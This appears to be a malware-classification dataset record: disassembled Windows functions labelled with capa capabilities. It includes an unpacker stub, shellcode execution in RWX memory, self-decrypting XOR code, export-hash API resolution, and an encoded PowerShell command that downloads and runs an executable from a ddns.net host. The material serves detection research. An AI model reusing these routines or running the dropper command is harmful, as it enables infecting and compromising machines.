joyce8/EMBER2024-capa huggingface dataset:
Function at 0x533700
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0xd6000]
push edi
jmp 0x53371a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x533721
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x533710
mov eax, 1
add ebx, ebx
jne 0x533733
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x533744
jne 0x533763
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x533763
dec eax
add ebx, ebx
jne 0x533750
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x533728
add ebx, ebx
jne 0x53375f
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x5337b5
xor ecx, ecx
sub eax, 3
jb 0x53377b
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x5337ea
sar eax, 1
mov ebp, eax
jmp 0x533786
add ebx, ebx
jne 0x533786
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x533754
inc ecx
add ebx, ebx
jne 0x533794
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x533754
add ebx, ebx
jne 0x5337a1
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x533796
jne 0x5337b2
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x533796
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x5337d4
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x5337c6
jmp 0x533716
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x5337d4
add edi, ecx
jmp 0x533716
pop esi
mov edi, esi
mov ecx, 0x40f0
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x5337f2
cmp byte [edi], 0x11
jne 0x5337f2
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x5337f7
lea edi, [esi + 0x12c000]
mov eax, dword [edi]
or eax, eax
je 0x53386f
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x18107c]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x1811f8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x533824
mov ecx, edi
jns 0x533853
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x1811fc]
or eax, eax
je 0x533869
mov dword [ebx], eax
add ebx, 4
jmp 0x533841
call dword [esi + 0x18120c]
add edi, 4
lea ebx, [esi - 4]
xor eax, eax
mov al, byte [edi]
inc edi
or eax, eax
je 0x5338a0
cmp al, 0xef
ja 0x533893
add ebx, eax
mov eax, dword [ebx]
xchg ah, al
rol eax, 0x10
xchg ah, al
add eax, esi
mov dword [ebx], eax
jmp 0x533875
and al, 0xf
shl eax, 0x10
mov ax, word [edi]
add edi, 2
jmp 0x533882
mov ebp, dword [esi + 0x181200]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x23f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x5338d4
sub esp, 0xffffff80
jmp 0x420577
Function at 0x100021d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push 1
push 0x40
push 0x24
push str.txt.txt
lea ecx, [ebp - 0xc8]
call fcn.10002f00
mov eax, dword [ebp - 0xc8]
mov ecx, dword [eax + 4]
lea ecx, [ebp + ecx - 0xc8]
call fcn.10001cf0
movzx edx, al
test edx, edx
je 0x1000221b
lea ecx, [ebp - 0xc8]
call fcn.10002410
jmp 0x10002400
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0xc8]
call fcn.100027b0
mov ecx, eax
call fcn.10003c50
mov dword [ebp - 0xd0], eax
mov dword [ebp - 0xcc], edx
push 0
push 0
push 0
lea ecx, [ebp - 0xc8]
call fcn.10002720
mov ecx, dword [ebp - 0xd0]
push ecx
lea ecx, [ebp - 0xe4]
call fcn.10002e20
mov edx, dword [ebp - 0xcc]
push edx
mov eax, dword [ebp - 0xd0]
push eax
lea ecx, [ebp - 0xe4]
call fcn.10002ef0
push eax
lea ecx, [ebp - 0xc8]
call fcn.100025d0
mov dword [ebp - 0x104], eax
mov ecx, dword [ebp - 0x104]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0x104]
add ecx, dword [edx + 4]
call fcn.10001cf0
movzx eax, al
test eax, eax
je 0x100022c6
lea ecx, [ebp - 0xe4]
call fcn.10002e90
lea ecx, [ebp - 0xc8]
call fcn.10002410
jmp 0x10002400
lea ecx, [ebp - 0xc8]
call fcn.10003060
mov byte [ebp - 0x11], 0x42
movzx ecx, byte [ebp - 0x11]
push ecx
lea edx, [ebp - 0xe4]
push edx
call fcn.10002140
add esp, 8
push str.VirtualAlloc
push 0x10019f28
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x10], eax
push str.VirtualProtect
push 0x10019f48
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 8], eax
push str.VirtualFree
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0xd4], eax
push 0x40
push 0x3000
lea ecx, [ebp - 0xe4]
call fcn.10002eb0
push eax
push 0
call dword [ebp - 0x10]
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x10002376
lea ecx, [ebp - 0xe4]
call fcn.10002e90
lea ecx, [ebp - 0xc8]
call fcn.10002410
jmp 0x10002400
lea ecx, [ebp - 0xe4]
call fcn.10002eb0
push eax
lea ecx, [ebp - 0xe4]
call fcn.10002ef0
push eax
mov eax, dword [ebp - 0xc]
push eax
call fcn.10008570
add esp, 0xc
lea ecx, [ebp - 4]
push ecx
push 0x20
lea ecx, [ebp - 0xe4]
call fcn.10002eb0
push eax
mov edx, dword [ebp - 0xc]
push edx
call dword [ebp - 8]
test eax, eax
jne 0x100023cf
lea ecx, [ebp - 0xe4]
call fcn.10002e90
lea ecx, [ebp - 0xc8]
call fcn.10002410
jmp 0x10002400
mov eax, dword [ebp - 0xc]
call eax
push 0x8000
push 0
mov eax, dword [ebp - 0xc]
push eax
call dword [ebp - 0xd4]
call fcn.10002190
lea ecx, [ebp - 0xe4]
call fcn.10002e90
lea ecx, [ebp - 0xc8]
call fcn.10002410
mov esp, ebp
pop ebp
ret
Function at 0x10004b50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10015da8
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x1001c470]
xor eax, ebp
mov dword [ebp - 0x18], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x58], ecx
mov eax, dword [ebp - 0x58]
cmp dword [eax + 0x44], 0
je 0x10004b90
mov ecx, dword [ebp - 0x58]
movzx edx, byte [ecx + 0x49]
test edx, edx
jne 0x10004b9c
mov al, 1
jmp 0x10004d3f
mov dword [ebp - 0x10], 8
call fcn.10001160
push eax
mov eax, dword [ebp - 0x58]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x58]
mov eax, dword [edx + 0xc]
call eax
mov dword [ebp - 0x3c], eax
call fcn.10001160
mov dword [ebp - 0x40], eax
lea ecx, [ebp - 0x3c]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.10001110
add esp, 8
movzx eax, al
test eax, eax
je 0x10004bdf
xor al, al
jmp 0x10004d3f
push 0
push 8
lea ecx, [ebp - 0x34]
call fcn.10003e10
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 0x44]
push edx
lea ecx, [ebp - 0x34]
call fcn.10003fa0
mov ecx, eax
call fcn.10005020
mov esi, eax
lea ecx, [ebp - 0x34]
call fcn.10004ec0
add esi, eax
push esi
lea eax, [ebp - 0x48]
push eax
lea ecx, [ebp - 0x34]
call fcn.10003fa0
mov ecx, eax
call fcn.10005020
push eax
mov ecx, dword [ebp - 0x58]
add ecx, 0x4c
push ecx
mov edx, dword [ebp - 0x58]
mov ecx, dword [edx + 0x44]
call fcn.100056a0
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0
je 0x10004c5a
cmp dword [ebp - 0x5c], 1
je 0x10004c61
cmp dword [ebp - 0x5c], 3
je 0x10004cfb
jmp 0x10004d13
mov eax, dword [ebp - 0x58]
mov byte [eax + 0x49], 0
lea ecx, [ebp - 0x4c]
push ecx
lea ecx, [ebp - 0x34]
call fcn.10003fa0
mov ecx, eax
call fcn.10005020
mov edx, dword [ebp - 0x14]
sub edx, eax
mov dword [ebp - 0x38], edx
je 0x10004cc4
mov eax, dword [ebp - 0x58]
mov ecx, dword [eax + 0x54]
push ecx
mov edx, dword [ebp - 0x38]
push edx
push 1
lea eax, [ebp - 0x50]
push eax
lea ecx, [ebp - 0x34]
call fcn.10003fa0
mov ecx, eax
call fcn.10005020
push eax
call fcn.10007fff
add esp, 0x10
cmp dword [ebp - 0x38], eax
je 0x10004cc4
mov byte [ebp - 0x51], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.10002440
mov al, byte [ebp - 0x51]
jmp 0x10004d3f
mov ecx, dword [ebp - 0x58]
movzx edx, byte [ecx + 0x49]
test edx, edx
jne 0x10004ce7
mov byte [ebp - 0x52], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.10002440
mov al, byte [ebp - 0x52]
jmp 0x10004d3f
cmp dword [ebp - 0x38], 0
jne 0x10004cf9
push 0
push 8
lea ecx, [ebp - 0x34]
call fcn.10003e90
jmp 0x10004d2b
mov byte [ebp - 0x53], 1
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.10002440
mov al, byte [ebp - 0x53]
jmp 0x10004d3f
mov byte [ebp - 0x54], 0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x34]
call fcn.10002440
mov al, byte [ebp - 0x54]
jmp 0x10004d3f
jmp 0x10004bf2
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x18]
xor ecx, ebp
call fcn.10006f71
mov esp, ebp
pop ebp
ret

Function at 0x10006f71
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x1001c470]
jne 0x10006f7b
repz ret
jmp fcn.1000a702
Function at 0x10013efc
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x1001c470]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.1000c96f
and dword [ebp - 0x14], 0
cmp dword [0x1001e20c], 0
mov dword [ebp - 0x18], eax
jne 0x10013faf
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x10014057
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x10014057
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x1001e20c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x1001e210], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x1001e214], eax
call edi
push eax
call esi
mov dword [0x1001e21c], eax
test eax, eax
je 0x10013faf
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x1001e218], eax
mov eax, dword [0x1001e218]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x10014008
cmp dword [0x1001e21c], ecx
je 0x10014008
push eax
call esi
push dword [0x1001e21c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x10014008
test ebx, ebx
je 0x10014008
call edi
test eax, eax
je 0x10013fff
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x10013fff
test byte [ebp - 8], 1
jne 0x10014008
or dword [ebp + 0x10], 0x200000
jmp 0x1001403b
mov eax, dword [0x1001e210]
cmp eax, dword [ebp - 0x18]
je 0x1001403b
push eax
call esi
test eax, eax
je 0x1001403b
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x1001403b
mov eax, dword [0x1001e214]
cmp eax, dword [ebp - 0x18]
je 0x1001403b
push eax
call esi
test eax, eax
je 0x1001403b
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x1001e20c]
call esi
test eax, eax
je 0x10014057
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x10014059
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10006f71
leave
ret
Function at 0x401a40
Capabilities:
Write file on windows

Disassembly:
mov edx, dword [esp + 8]
mov ecx, dword [ecx]
lea eax, [esp + 8]
push 0
push eax
mov eax, dword [esp + 0xc]
push edx
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_WriteFile]
ret 8

Function at 0x401000
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0
nop
mov eax, 0
push eax
mov eax, 0
push eax
mov eax, str._EncodedCommand__KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwB3AG8AcgBrAHMAZQByAHYAZQByAC4AZABkAG4AcwAuAG4AZQB0AC8ARQBuAGMAcgB5AHAAdABlAGQALgBlAHgAZQAnACwAIAA8ACMAcABlAGIAIwAACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBsAHgAYwAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAVABlAG0AcAAgADwAIwBmAHYAbQAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBFAG4AYwByAHkAcAB0AGUAZAAuAGUAeABlACcAKQApADwAIwB3AGYAZAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGwAegAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBpAGkAIwAACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARQBuAGMAcgB5AHAAdABlAGQALgBlAHgAZQAnACkAPAAjAHkAcQB0ACMAPgA_
push eax
mov eax, str.powershell
push eax
mov eax, str.open
push eax
mov eax, 0
push eax
call sub.shell32.dll_ShellExecuteA
mov eax, 0
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x1002aaee
pop dword [ebp - 0x3c]
mov eax, 0xb136b2c8
sub eax, 0xa13407da
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x6e0766b3
sub dword [ebp - 0x4c], 0x1fb52168
mov dword [ebp - 0x48], 0xf142bd64
sub dword [ebp - 0x48], 0xbf0f711f
mov dword [ebp - 0x44], 0x5decc093
add dword [ebp - 0x44], 0xee5f839b
mov dword [ebp - 0x40], 0xa2bcdf9b
sub dword [ebp - 0x40], 0xa2bcdf9b
lea eax, [ebp - 0x4c]
push eax
mov eax, 0x70e9a340
add eax, 0x9f191cf8
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x8b71c3fe
add dword [ebp - 0x4c], 0xe900a558
mov dword [ebp - 0x48], 0x61afa397
sub dword [ebp - 0x48], 0x20434222
mov dword [ebp - 0x44], 0xf5734181
sub dword [ebp - 0x44], 0x9203d515
mov dword [ebp - 0x40], 0xc6cc95d4
sub dword [ebp - 0x40], 0xc6cc95d4
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push reloc.msvcr120.dll_atol
push 0
call eax
mov ecx, 0x751332e0
sub ecx, 0x7512f884
xor ebx, ebx
add ebx, eax
mov esi, 0x10039600
add esi, dword [ebp - 0x3c]
mov edi, 0x455da1dc
add edi, 0xe1ce8969
mov dword [ebp - 0x34], 0xbb010577
mov edx, dword [esi]
add dword [ebp - 0x20], 0x4c59873f
sub edx, edi
add dword [ebp - 0x34], edi
mov dword [ebx], edx
xor dword [ebp - 0x2c], 0xe89d6f5a
add ebx, 0x18732d4f
sub ebx, 0x18732d4b
add esi, 0xad7dd865
sub esi, 0xad7dd861
loop 0x1002ac07
add eax, 0xc7a18e4
add eax, 0xf386c35f
mov ebx, eax
add eax, 0xbeb154e4
add eax, 0x414eab21
mov ecx, 0x8cfdc9f5
add ecx, 0x8302360b
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx

Function at 0x403910
Capabilities:
Accept command line arguments
Hide graphical window

Disassembly:
mov ecx, ebp
push ebp
mov ebp, esp
add ecx, 4
mov dword [0x4040fe], ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x404670], eax
push 0
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [0x404604], eax
mov dword [0x4040f6], eax
mov dword [0x4045f0], 0x30
mov dword [0x4045f4], 2
jmp 0x403955
mov dword [0x4045f8], 0x402f69
mov dword [0x4045fc], 0
mov dword [0x404600], 0
mov dword [0x404618], 0x404564
mov dword [0x404610], 0xf
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadIconA]
mov dword [0x404608], eax
mov dword [0x40461c], eax
push 0x7f00
push 0
call dword [sym.imp.user32.dll_LoadCursorA]
mov dword [0x40460c], eax
push 0x4045f0
call dword [sym.imp.user32.dll_RegisterClassExA]
push 0
push dword [0x4040f6]
push 0
push 0
push 0x1e5
push 0x203
push 0xfffff98e
push 0xfffff9c0
push 0xcf0000
push str.asdlkjalsdj_ai8
push str.first
push 0
call dword [sym.imp.user32.dll_CreateWindowExA]
mov dword [0x404668], eax
push 5
push dword [0x404668]
call dword [sym.imp.user32.dll_ShowWindow]
push dword [0x404668]
call dword [sym.imp.user32.dll_UpdateWindow]
xor edi, edi
lea ebx, [0x404620]
jmp 0x403a29
push ebx
call dword [sym.imp.user32.dll_TranslateMessage]
push ebx
call dword [sym.imp.user32.dll_DispatchMessageA]
push edi
push edi
push edi
push ebx
call dword [sym.imp.user32.dll_GetMessageA]
test al, al
jne 0x403a1b
mov eax, dword [0x404628]
jmp 0x403a44
call 0x402a90
ret
Function at 0x4050b1
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x18], eax
mov ecx, dword [ebp + 8]
and ecx, 0x530e7a5
mov dword [ebp - 0xc], ecx
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
mov edx, dword [ecx + 0x78]
mov eax, dword [ecx + 0x7c]
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov ecx, dword [ebp + 8]
sub ecx, 0x5884675c
test ecx, ecx
je 0x405100
cmp dword [ebp + 0x10], 0
je 0x405100
mov dword [ebp - 0x30], 1
jmp 0x405107
mov dword [ebp - 0x30], 0
mov edx, dword [ebp - 0x30]
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp + 8]
add eax, dword [ebp - 8]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp + 8]
and ecx, 0x7eef087f
and ecx, dword [0x4140d0]
mov edx, dword [ebp + 8]
mov eax, dword [ebp + 0x10]
lea edx, [eax + edx - 0x2bd1a3cc]
and ecx, edx
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp + 0xc]
add eax, dword [ebp + 8]
add eax, dword [0x4140d8]
test eax, eax
jne 0x40515a
mov ecx, dword [ebp + 0x10]
and ecx, dword [ebp + 0xc]
test ecx, ecx
jne 0x40515a
mov dword [ebp - 0x34], 0
jmp 0x405161
mov dword [ebp - 0x34], 1
mov edx, dword [ebp - 0x34]
mov dword [ebp - 0x24], edx
cmp dword [str.41_av], 0
jne 0x405183
mov eax, dword [ebp + 0xc]
add eax, dword [ebp + 0xc]
test eax, eax
jne 0x405183
mov dword [ebp - 0x38], 0
jmp 0x40518a
mov dword [ebp - 0x38], 1
mov ecx, dword [ebp - 0x38]
mov dword [ebp - 0x20], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp + 8]
add eax, dword [edx + 0x20]
mov ecx, dword [ebp - 0x18]
mov edx, dword [ebp + 8]
add edx, dword [eax + ecx*4]
push edx
mov eax, dword [ebp + 0xc]
push eax
call fcn.004036cf
add esp, 8
test eax, eax
je 0x4051b5
jmp 0x4051f7
mov dword [ebp - 0x18], 0
jmp 0x4051c7
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x18]
cmp eax, dword [edx + 0x18]
jae 0x405222
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x20]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp + 8]
add ecx, dword [edx + eax*4]
push ecx
mov edx, dword [ebp + 0xc]
push edx
call fcn.004036cf
add esp, 8
test eax, eax
jne 0x4051f7
jmp 0x4051be
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + 8]
add ecx, dword [eax + 0x24]
mov edx, dword [ebp - 0x18]
xor eax, eax
mov ax, word [ecx + edx*2]
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 0x1c]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 8]
add ecx, dword [edx + eax*4]
mov eax, ecx
jmp 0x405224
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x4823a1
Capabilities:
Parse pe header

Disassembly:
pushal
xor edx, edx
mov esi, dword fs:[edx]
lodsd eax, dword [esi]
cmp eax, 0xffffffff
je 0x4823b1
mov esi, eax
jmp 0x4823a7
mov edi, dword [esi + 4]
and edi, 0xffff0000
cmp word [edi], 0x5a4d
je 0x4823c9
sub edi, 0x10000
jmp 0x4823ba
mov ebx, edi
add ebx, dword [ebx + 0x3c]
cmp word [ebx], 0x4550
je 0x4823d7
jmp 0x4823ba
mov dword [esp + 0x1c], edi
popal
ret

Function at 0x4823dd
Capabilities:
Encode data using xor
Resolve function by parsing pe exports

Disassembly:
pushal
mov ebx, dword [esp + 0x24]
mov ecx, ebx
add ebx, dword [ebx + 0x3c]
mov ebx, dword [ebx + 0x78]
add ebx, ecx
mov edi, dword [ebx + 0x20]
add edi, ecx
xor esi, esi
lea edx, [edi + esi*4]
mov edx, dword [edx]
add edx, ecx
xor eax, eax
rol eax, 7
xor al, byte [edx]
inc edx
cmp byte [edx], 0
jne 0x4823fc
cmp eax, dword [esp + 0x28]
je 0x482413
inc esi
cmp esi, dword [ebx + 0x18]
jb 0x4823f3
mov edx, dword [ebx + 0x24]
add edx, ecx
movzx edx, word [edx + esi*2]
mov eax, dword [ebx + 0x1c]
add eax, ecx
mov eax, dword [eax + edx*4]
add eax, ecx
mov dword [esp + 0x1c], eax
popal
ret 8

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx